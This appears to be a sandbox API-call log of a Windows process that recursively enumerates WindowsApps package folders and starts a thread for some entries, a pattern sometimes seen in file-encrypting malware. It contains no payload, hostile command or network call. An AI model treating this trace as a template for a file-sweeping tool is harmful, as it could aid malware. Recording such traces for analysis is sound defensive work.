	[0079.673] wcscat (in: _Dest=0x4770938, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\*"
	[0079.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4758c98
	[0079.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad0dfe61, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad0dfe61, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71100
	[0079.675] wcscmp (_String1=".", _String2=".") returned 0
	[0079.675] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xad0dfe61, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xad0dfe61, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.675] wcscmp (_String1="..", _String2=".") returned 1
	[0079.675] wcscmp (_String1="..", _String2="..") returned 0
	[0079.675] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x4758c98 | out: lpFindFileData=0x4758c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f6d5e4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33f6d5e4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33f6d5e4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x475, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.675] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.675] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33bb8
	[0079.675] wcscpy (in: _Dest=0x4e33bb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe"
	[0079.675] wcscat (in: _Dest=0x4e33bb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\"
	[0079.675] wcscat (in: _Dest=0x4e33bb8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 820
	os_tid = 0x1bfc

	[0079.675] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770a00
	[0079.675] wcscpy (in: _Dest=0x4770a00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe"
	[0079.676] wcscat (in: _Dest=0x4770a00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\"
	[0079.676] wcscat (in: _Dest=0x4770a00, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\*"
	[0079.676] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2f28
	[0079.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fb9a9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca2b3ac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaca2b3ac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71140
	[0079.678] wcscmp (_String1=".", _String2=".") returned 0
	[0079.678] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fb9a9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaca2b3ac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xaca2b3ac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.678] wcscmp (_String1="..", _String2=".") returned 1
	[0079.678] wcscmp (_String1="..", _String2="..") returned 0
	[0079.678] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x47a2f28 | out: lpFindFileData=0x47a2f28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33fdfcf4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33fdfcf4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33fdfcf4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.679] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.679] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33ca0
	[0079.679] wcscpy (in: _Dest=0x4e33ca0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe"
	[0079.679] wcscat (in: _Dest=0x4e33ca0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\"
	[0079.679] wcscat (in: _Dest=0x4e33ca0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 821
	os_tid = 0xde4

	[0079.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770ac8
	[0079.680] wcscpy (in: _Dest=0x4770ac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0079.680] wcscat (in: _Dest=0x4770ac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\"
	[0079.680] wcscat (in: _Dest=0x4770ac8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*"
	[0079.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3190
	[0079.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404f13, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaee25a0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c25330e, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71180
	[0079.683] wcscmp (_String1=".", _String2=".") returned 0
	[0079.683] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b404f13, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaee25a0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c25330e, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.683] wcscmp (_String1="..", _String2=".") returned 1
	[0079.683] wcscmp (_String1="..", _String2="..") returned 0
	[0079.683] FindNextFileW (in: hFindFile=0x2d71180, lpFindFileData=0x47a3190 | out: lpFindFileData=0x47a3190*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b5a8911, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1b5a8911, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1c1ba961, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x42e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.683] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.683] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32088
	[0079.683] wcscpy (in: _Dest=0x4e32088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe"
	[0079.683] wcscat (in: _Dest=0x4e32088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\"
	[0079.683] wcscat (in: _Dest=0x4e32088, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 822
	os_tid = 0xb10

	[0079.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770b90
	[0079.683] wcscpy (in: _Dest=0x4770b90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0079.683] wcscat (in: _Dest=0x4770b90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\"
	[0079.683] wcscat (in: _Dest=0x4770b90, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*"
	[0079.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3d98
	[0079.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ac94c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaef00b37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1dc41199, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d711c0
	[0079.686] wcscmp (_String1=".", _String2=".") returned 0
	[0079.686] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ac94c, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xaef00b37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1dc41199, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.686] wcscmp (_String1="..", _String2=".") returned 1
	[0079.686] wcscmp (_String1="..", _String2="..") returned 0
	[0079.686] FindNextFileW (in: hFindFile=0x2d711c0, lpFindFileData=0x47a3d98 | out: lpFindFileData=0x47a3d98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d32a1b2, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0x1d32a1b2, ftLastAccessTime.dwHighDateTime=0x1d32718, ftLastWriteTime.dwLowDateTime=0x1dbceaa0, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="APPXBL~1.XML")) returned 1
	[0079.686] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.686] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32170
	[0079.686] wcscpy (in: _Dest=0x4e32170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe"
	[0079.686] wcscat (in: _Dest=0x4e32170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\"
	[0079.686] wcscat (in: _Dest=0x4e32170, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"

Thread:
	id = 823
	os_tid = 0x13ec

	[0079.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a1a8
	[0079.688] wcscpy (in: _Dest=0x476a1a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0079.688] wcscat (in: _Dest=0x476a1a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0079.688] wcscat (in: _Dest=0x476a1a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\*"
	[0079.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a20b8
	[0079.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460ee7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1ed095d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1ed095d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70f00
	[0079.689] wcscmp (_String1=".", _String2=".") returned 0
	[0079.689] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59460ee7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd1ed095d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd1ed095d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.698] wcscmp (_String1="..", _String2=".") returned 1
	[0079.698] wcscmp (_String1="..", _String2="..") returned 0
	[0079.698] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594d35f3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x595921b6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x595921b6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x888c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="adalrt.dll", cAlternateFileName="")) returned 1
	[0079.698] wcscmp (_String1="adalrt.dll", _String2=".") returned 1
	[0079.698] wcscmp (_String1="adalrt.dll", _String2="..") returned 1
	[0079.714] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x595b8410, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaef96f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x597b1fa2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="animations", cAlternateFileName="ANIMAT~1")) returned 1
	[0079.714] wcscmp (_String1="animations", _String2=".") returned 1
	[0079.714] wcscmp (_String1="animations", _String2="..") returned 1
	[0079.714] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47ca960
	[0079.714] wcscpy (in: _Dest=0x47ca960, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0079.714] wcscat (in: _Dest=0x47ca960, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0079.715] wcscat (in: _Dest=0x47ca960, _Source="animations" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\animations") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\animations"
	[0093.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ca960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ec
	[0093.639] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x597b1fa2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x597b1fa2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x597b1fa2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.manifest", cAlternateFileName="")) returned 1
	[0093.640] wcscmp (_String1="application.manifest", _String2=".") returned 1
	[0093.640] wcscmp (_String1="application.manifest", _String2="..") returned 1
	[0093.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4767ee8
	[0093.640] wcscpy (in: _Dest=0x4767ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.640] wcscat (in: _Dest=0x4767ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
	[0093.640] wcscat (in: _Dest=0x4767ee8, _Source="application.manifest" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\application.manifest") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\application.manifest"
	[0093.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767ee8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc
	[0093.682] FindNextFileW (in: hFindFile=0x2d70f00, lpFindFileData=0x47a20b8 | out: lpFindFileData=0x47a20b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59487137, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x594ad391, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x594ad391, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ba25, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0093.682] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0093.682] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0093.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4fce438
	[0093.682] wcscpy (in: _Dest=0x4fce438, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe"
	[0093.682] wcscat (in: _Dest=0x4fce438, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\"
